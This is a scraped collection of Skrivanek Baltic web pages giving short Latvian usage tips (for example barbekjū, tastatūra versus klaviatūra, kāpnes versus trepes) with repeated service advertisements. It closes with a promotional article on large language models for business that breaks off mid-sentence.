kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šī sejas maska ir vairākkārtēji vai vairākkārtīgi lietojama? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2024-05-15 - Modified: 2024-05-15 - URL: https://skrivanek.lv/vairakkartejs-vai-vairakkartigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAIRĀKKĀRTĒJS VAI VAIRĀKKĀRTĪGS 1 Šī maska ir vairākkārtēji vai vairākkārtīgi lietojama? Vārdi “vairākkārtīgs” un “vairākkārtējs” ir lietojami ar atšķirīgām nozīmēm. Vairākkārtējs ir ‘tāds, kas atkārtojas, tāds, ko atkārto vairākas reizes’. Tātad teiksim — šī maska ir vairākkārtēji lietojama. Savukārt “vairākkārtīgs” ir ‘tāds, kas sastāv no vairākām kārtām, tāds, ko veido vairākas kārtas’ vai arī otra nozīme — ‘tāds, kas ir vairākas reizes lielāks’. Ja maska ir gatavota no vairākiem slāņiem jeb auduma kārtām, tad teiksim — maska ir vairākkārtīga un to var lietot vairākkārtēji. Šajā gadījumā gan labskanības dēļ vajadzētu izvairīties no līdzīgi skanošu vārdu atkārtošanās vienā teikumā. Tātad teiksim: Šī maska ir vairākkārtēji lietojama. Bet — šī maska ir vairākkārtīga. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šis plastilīns vai plastalīns ir kļuvis nelietojams? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - Published: 2024-05-15 - Modified: 2024-05-15 - URL: https://skrivanek.lv/plastalins-vai-plastilins/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLASTALĪNS VAI PLASTILĪNS 1 Šis plastilīns kļuvis nelietojams. Vai — plastalīns? Vārds “plastilīns” aizgūts no vācu valodas vārda ‘Plastilin’, kam pamatā ir grieķu valodas vārds ‘plastikos’ ar nozīmi ‘tēlniecisks’. Tātad teiksim: šis plastilīns kļuvis nelietojams. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šovakar gatavosim bārbekjū vai barbekjū? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2024-05-15 - Modified: 2024-08-29 - URL: https://skrivanek.lv/barbekju-vai-barbekju/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BARBEKJŪ VAI BĀRBEKJŪ 1 Šovakar gatavosim bārbekjū vai barbekjū? Vārdu “barbekjū” var lietot divās nozīmēs — 1) runājot par ēdienu, kas ir cepts ārā uz karstām oglēm; parasti tie ir veseli dzīvnieku kautķermeņi (cūkas, liellopa) vai to daļas; 2) apzīmējot mielastu, svētkus, kurā tiek pasniegts uz oglēm cepts ēdiens. Nelielu apjukumu var radīt tas, ka vārdnīcās (piemēram, tezaurs. lv) ir minēti abi šī vārda rakstības varianti, taču Latvijas Zinātņu akadēmijas Terminoloģijas komisija ir apstiprinājusi vārda rakstību ar īso patskani “a” — tātad “barbekjū”. Tātad šovakar gatavosim barbekjū. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Benzīntanks vai degvielas uzpildes stacija? Kā ir pareizi? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2024-05-15 - Modified: 2024-08-29 - URL: https://skrivanek.lv/benzintanks-vai-degvielas-uzpildes-stacija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BENZĪNTANKS VAI DEGVIELAS UZPILDES STACIJA 1 Tik tālu jābrauc! Vai pa ceļam būs kāds benzīntanks? Vai degvielas uzpildes stacija? Literārajā valodā pareizi būs teikt — degvielas uzpildes stacija, taču vārdu “benzīntanks” varam lietot sarunvalodā. Visbiežāk šis nošķīrums jāievēro lietišķajā saziņā. Tātad lietišķajā rakstveida saziņā lietosim vārdkopu “degvielas uzpildes stacija”, bet sarunvalodā varam lietot arī “benzīntanks”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Datoram ir klaviatūra vai tastatūra? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-05-15 - Modified: 2024-05-15 - URL: https://skrivanek.lv/klaviatura-vai-tastatura/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KLAVIATŪRA VAI TASTATŪRA 1 Jāpērk jauna tastatūra datoram, šī vairs lāga nedarbojas. Vai — jāpērk jauna klaviatūra? Ar datoru saistītā terminoloģija nereti izraisa pārpratumus, šaubas vai pat smaidu. Piemēram, ierosinājums tastatūru dēvēt par spiedpogu plakandēli. Kuru no minētajiem vārdiem lietosim, ir atkarīgs no tā, par kādu priekšmetu (vai darbības jomu) ir runa. Ja runājam par datoru vai rakstāmmašīnu, vai cita veida mehānismu — tad lietosim vārdu “tastatūra”, lai gan vārdnīcās (letonika. lv; tezaurs. lv; termini. gov. lv) šim vārdam kā sinonīms ir dots arī vārds “klaviatūra”, tātad nebūs gluži nepareizi, ja lietosim arī pēdējo. Tomēr jāpiebilst, ka Eiropas Savienības terminoloģijas vietnē iate. europa. eu vārdam ‘keyboard’ ir tikai viens tulkojums — tastatūra. Savukārt, ja runa ir par mūzikas instrumentiem, piemēram, klavierēm, akordeonu u. c. — tad pareizais variants būs tikai un vienīgi klaviatūra. Tātad teiksim: jāpērk jauna tastatūra datoram, šī vairs lāga nedarbojas. Bet: šī klaviatūra ir daudz cietusi, būs jāsauc klavieru meistars. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai varu palūgt saiti vai linku uz šo tīmekļa vietni? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - Published: 2024-05-15 - Modified: 2024-10-21 - URL: https://skrivanek.lv/links-vai-saite/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LINKS VAI SAITE 1 Vai varu palūgt saiti uz šo tīmekļa vietni vai linku uz šo tīmekļa vietni? Ar tīmekli, internetu saistītais angļu valodas vārds ‘link’ latviešu valodā tulkojams un tātad arī lietojams kā vārds ‘saite’. Vārds ‘links’ nereti tiek lietots sarunvalodā, taču Skrivanek iesaka vārdu ‘saite’. Tātad teiksim: vai varu palūgt saiti uz šo tīmekļa vietni? Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Jāpalūkojas kalendārā, kad Pēteriem vārdadiena vai vārda diena? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi! - Published: 2024-05-15 - Modified: 2024-10-21 - URL: https://skrivanek.lv/varda-diena-vai-vardadiena/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VĀRDA DIENA VAI VĀRDADIENA 1 Šodien Līgas, rītu — Jāņi? Ka tik neaizmirstas apsveikt abus vārdadienā? Jāpalūkojas kalendārā, kad Pēteriem vārda diena? Abi varianti ir pareizi, vien jāievēro konteksts, kādā vēlaties izteikties vai rakstīt. Minētajā piemērā par Līgu un Jāni pareizais variants būs kopā rakstāms vārds “vārdadiena”, jo ar to apzīmēta Līgas vai Jāņa godadiena jeb godināmā diena. Savukārt “vārda diena” divos vārdos rakstāma tajā gadījumā, ja ar to apzīmē dienu, kad kalendārā ierakstīts minētā cilvēka vārds. Tātad spriežot par to, kurā kalendāra dienā ir Pēteri, lietosim vārdu savienojumu “vārda diena”. Tātad: Ka tik neaizmirstas apsveikt Līgu un Jāni vārdadienā. Jāpalūkojas kalendārā, kad Pēteriem vārda diena. Tomēr jāpiebilst, ka reālajā valodas un runas praksē šīs nianses ir samērā grūti nošķiramas, tāpēc šo vārdu rakstība nav strikti normēta. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Otrajā stāvā var uzkāpt pa trepēm vai pa kāpnēm? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi vienuviet! - Published: 2024-05-15 - Modified: 2024-07-12 - URL: https://skrivanek.lv/kapnes-vai-trepes/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KĀPNES VAI TREPES 1 Otrajā stāvā var uzkāpt pa trepēm vai pa kāpnēm? Mūsdienu latviešu valodas vārdnīcā abiem minētajiem šķirkļiem dotas divas nozīmes. 1. Trepes/kāpnes kā iebūve celtnē, kas sastāv no pakāpieniem (parasti satiksmei starp stāviem), vairāku pakāpienu kopums; dzīvokļu kopums, kuriem ieeja atrodas vienā kāpņu telpā; 2. Kāpšanai paredzēts pārvietojams rīks, kas parasti sastāv no pamatnei piestiprinātiem šķērskokiem, pakāpieniem. Vārds “trepes” vārdnīcā uzrādīts kā lietojams sarunvalodā. Tātad teiksim: Otrajā stāvā var uzkāpt pa kāpnēm. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Lielie valodu modeļi (LVM) – saprot, ģenerē un tulko tekstu ar milzīgu datu apjomu. Sazinies ar Skrivanek un uzzini, kā varam palīdzēt! - Published: 2024-05-10 - Modified: 2025-07-16 - URL: https://skrivanek.lv/lielie-valodu-modeli/ - Kategorijas: Raksti - Translation Priorities: Optional LIELIE VALODU MODEĻI BIZNESA VAJADZĪBĀM Kopš mākslīgā intelekta (MI) rīku straujās popularitātes aizvien vairāk ikdienā tiek lietoti dažādi ar to saistīti termini, tajā skaitā arī termins “lielie valodu modeļi” (LVM) jeb “Large language models” (LLM). Kas īsti ir LVM un kā tie var noderēt uzņēmuma vajadzībām? KAS IR LIELIE VALODU MODEĻI? Lielie valodu modeļi ir augstas kvalitātes MI modeļi, kuru mērķis ir ģenerēt tekstu, kas ir līdzīgs cilvēka radītam tekstam, kā arī pielāgot šo tekstu visdažādākajām vajadzībām. LVM tiek veidoti un trenēti ar ievērojamu daudzumu datu, lai datorprogramma pēc iespējas precīzāk spētu “uzminēt” vajadzīgo tekstu dažādās valodās un spētu tekstu veidot un pārveidot atbilstoši kontekstam. Izmantojot jaunākās mašīnmācīšanās tehnoloģijas, modeļi spēj atveidot dabisku, “cilvēcisku” valodu, tādējādi sniedzot iespēju sazināties ar konkrēto datu kopu, gluži kā sarunājoties tērzēšanas lodziņā ar citu cilvēku vai robotu. GALVENIE LVM RAKSTURLIELUMI 1. Valodas īpatnību izpratne Katrai valodai ir savas kultūras īpatnības, tādēļ daudzus frazeoloģismus, izteicienus, kas raksturīgi vienai valodai, nav iespējams burtiski pārtulkot, bet gan pielāgot nozīmes ziņā līdzīgam frazeoloģismam vai izteikumam. Lielie valodu modeļi spēj atpazīt izteicienus un to nozīmi ne tikai tiešajā, bet arī pārnestajā nozīmē, tādējādi precīzāk nolasot konkrētā teksta mērķi, emocionālo toni un citas tekstam būtiskas leksiskās un stilistiskās kategorijas. 2. Konteksts ar atmiņu Būtiska LVM atšķirība no, piemēram, vienkāršas mašīnmācīšanās, ir spēja vienas sarunas – visbiežāk tērzēšanas – ietvaros saglabāt konkrētu kontekstu, kas samazina vajadzību analizēt datus, kā to darītu programmētājs, uzdodot precīzas, matemātiskas komandas. LVM to dara tā, it kā sarunātos ar labi pazīstamu kolēģi. Tādējādi saglabājoties kontekstam, ir iespējams atsaukt datus vai rīcību, kas apspriesta, piemēram, tērzēšanas sākumā. 3. Spēja pielāgoties LVM ir iespējams pielāgot dažāda veida kontekstam un stilistikai, datu kopu pielāgojot konkrētam rakstīšanas stilam, formalitātes līmenim un citiem raksturlielumiem, kas atbilst konkrētajām uzņēmuma vajadzībām. Šādi pielāgojot modeli, nav nepieciešams atkārtot dažādus vaicājumus vai komandas, lai iegūtais teksts būtu tuvāks jūsu prasībām. KĀ STRĀDĀ LIELIE VALODU MODEĻI? LVM darbina neironu tīkli, kas snieguši būtisku artavu teksta “minēšanā” un ģenerācijā. Pretēji tradicionālajām mašīnmācīšanās metodēm, neironu tīkls, kas ir veidots, iedvesmojoties no cilvēka smadzeņu darbības, nolasa vārdu un teikumu nozīmi, lai labāk izprastu to kontekstu. Lūk, trīs galvenie termini, kas precīzāk izskaidro LVM pamatdarbību. 1. Apmācības ar datiem LVM trenēšana jeb apmācīšana noris, modelī ievadot ievērojamu apjomu tekstuālas informācijas, lai tas precīzāk saskatītu valodas īpatnības un kopsakarības. Jo kvalitatīvāki ir ievadītie dati, jo labāk modelis pēcāk spēs ne tikai atpazīt līdzīgu informāciju, bet to arī radīt. 2. Žetonu (“token”) izveide Ņemot vērā LVM apjomu un mašīnmācīšanās īpatnības, vārdi, to daļas vai pat atsevišķas rakstzīmes tiek apzīmētas ar konkrētu žetonu jeb “token”. Šāda veida informācijas kategorizēšana samazina apstrādājamās informācijas apjomu, kā arī sniedz iespēju precīzāk prognozēt, kādi vārdi vai simboli sekos cits aiz cita, lai izveidotu loģisku, labskanīgu teikumu. Jo precīzāk LVM ir apmācīts, jo labāk tas spēs ģenerēt kvalitatīvu tekstu. 3. Pašmācīšanās Lai uzlabotu iegūtā satura kvalitāti un taupītu laiku, svarīga ir arī LVM spēja pašmācīties, balstoties uz dotajiem datiem un instrukcijām, kas pielāgotas konkrētajai nozarei un uzņēmumam. Tas jo īpaši ir svarīgi, veidojot un izmantojot viena uzņēmuma līmeņa MI rīku un pieslīpējot to kopīgajām vajadzībām. LIELO VALODU MODEĻU IZMANTOŠANAS PIEMĒRI Ar lielo valodas modeļu palīdzību iespējams veikt dažāda veida darbus, attiecīgi tos pielāgojot. Lūk, daži no izplatītākajiem piemēriem šobrīd. Satura radīšana Atkarībā no apmācīto datu apjoma un sarežģītības pakāpes iespējams veidot pirmos tekstu uzmetumus emuāra (bloga) vai sociālo mediju ierakstiem. Atliek tikai ar vaicājumu norādīt vēlamo stilu, aptuvenos tematus, kurus aplūkot, un iespējams iegūt pirmo melnrakstu vēlamajam saturam. Jo labāk atlasīti LVM dati, jo kvalitatīvāks izdosies melnraksts. Kad ir iegūts teksta uzmetums, tad noderēs valodu ekspertu skatījums, lai to padarītu labskanīgāku un uztveramāku. Datu analīze Līdzīgi kā tekstu radīšanā, noderīga ir LVM pielietošana, analizējot noteiktu datu kopu tabulu PDF vai citā formātā. Atliek tikai iestatīt parametrus, pēc kuriem dati jāpārskata un jāizpēta. Tirgus izpēte Ja LVM ir iekļauti specifiski dati, piemēram, tikai pircēju atsauksmes par tiešsaistes veikalā iegādātajām precēm, tad, balstoties uz iegūto informāciju, var veidot nākotnes tendenču prognozes. Klientu atbalsts Viens no biežākajiem LVM izmantošanas veidiem ir plašāka klientu atbalsta sniegšana, tīmekļa vietnēs iestrādājot sarunbotus, kas atbild uz klientu uzdotiem jautājumiem, tos izanalizējot un piemeklējot atbilstošāko atbildi no pieejamā datu modeļa. Tulkošana Globālajā un straujajā informācijas laikmetā ir būtiski klientus informēt to valodā. Tulkot jebkādu materiālu ar profesionālu tulkotāju palīdzību – pat ar tulkošanas rīku (CAT) palīdzību – var būt dārgi un laikietilpīgi, un lai gan mašīntulkošanas rīki ne vienmēr atbilst uzņēmuma kvalitātes kritērijiem, tomēr tie var noderēt pirmā ieskata gūšanai par konkrēto materiālu. LVM tulkošanai sākotnēji var šķist neatbilstošs, taču ar pareizajām komandām vai apmācīšanu (trenēšanu) pamazām ir iespējams izveidot kvalitatīvu un atbilstošu tekstu. LIELO VALODU MODEĻU PRIEKŠROCĪBAS UN TRŪKUMI Kā jau vairumam tehnoloģiju, lielajiem valodu modeļiem ir gan priekšrocības, gan trūkumi. Ieskatīsimies dažos. LVM priekšrocības Laika taupīšana. Veidojot datu modeli ar konkrētu informāciju, pēc kuras radīt tekstu vai interpretēt informāciju, iespējams ietaupīt laiku, ko iepriekš veltītu manuālu, monotonu darbību veikšanai. Mērogošana. LVM spēj apstrādāt daudz vairāk informācijas nekā to spētu viens datu analītiķis, caurskatot simtiem dokumentu. Tāpat arī saturu var veidot lielā apmērā pēc viena parauga. Pielāgošanas iespēja. Uzņēmumiem veiksmīgāk sokas ar LVM izmantošanu tajā brīdī, kad ir iespējams to paliekošā veidā pārveidot jeb personificēt, lai tas spētu bez papildu vaicājumiem sniegt atbildes vai saturu tieši tādā stilā, kāds nepieciešams uzņēmumam. Izmaksu ietaupījums. Pielietojot LVM teksta tulkošanā bez papildu rediģēšanas iespējams būtiski ietaupīt – it īpaši, ja šādi materiāli pēcāk netiek izmantoti uzņēmuma ārējai saziņai. Tāpat LVM spēj tradicionālo sarunbotu vietā labāk atbildēt uz jautājumiem, nolasot klientu uzdotā jautājuma jēgu. Iespējas ietaupīt ir plašas. LVM trūkumi Konteksta pārprašana. Lai gan minēts, ka vairumā gadījumu LVM rīki spēj nolasīt teksta kontekstu, gadījumos, kad pašā modelī nav pietiekami daudz datu, lai radītu kvalitatīvu atbildi, teksts var tikt pārprasts un attiecīgi galarezultāts var nebūt tāds, kādu sagaidāt. Nepatiess vai nekorekts teksts / konteksts. Ja trūkst kvalitatīvu LVM datu, tad mākslīgais intelekts var “apjukt” un radīt nekorektu tekstu, izdomājot nepatiesus faktus, citējot neīstus pētījumus, proti, izveidot neatbilstošu informāciju. Arī sniedzot mākslīgā intelekta rīkam neprecīzas instrukcijas, to var samulsināt. Lai tā nenotiktu, ieteicams sniegt vienu instrukciju vienā vaicājumā. Ieguldīts laiks. Ja vien LVM nav speciāli pielāgots konkrēta uzņēmuma vajadzībām, kas var būt visai dārgi, tad, lai MI rīks sniegtu tieši tādu informāciju, kāda nepieciešama, jāiegulda laiks, lai noslīpētu precīzu vaicājumu jeb “prompt”. LVM modeļa izmaiņas. Ja modeli un tajā esošos apakšmodeļus, to apmācību nekontrolē pats uzņēmums, tad ar laiku arī ar labi izstrādātu vaicājumu iegūtie dati var kļūt mazāk paredzami un ne tik kvalitatīvi. Piemēram, MI var atteikties sniegt datu analīzi, aizbildinoties, ka šāds uzdevums ir ārpus tā tehniskajām iespējām. KĀ VAR PALĪDZĒT SKRIVANEK? Ar ekspertīzi. Kā minēts iepriekš, ir daudz dažādu aspektu, ko apsvērt, izvēloties tradicionālo tekstu veidošanas un/vai 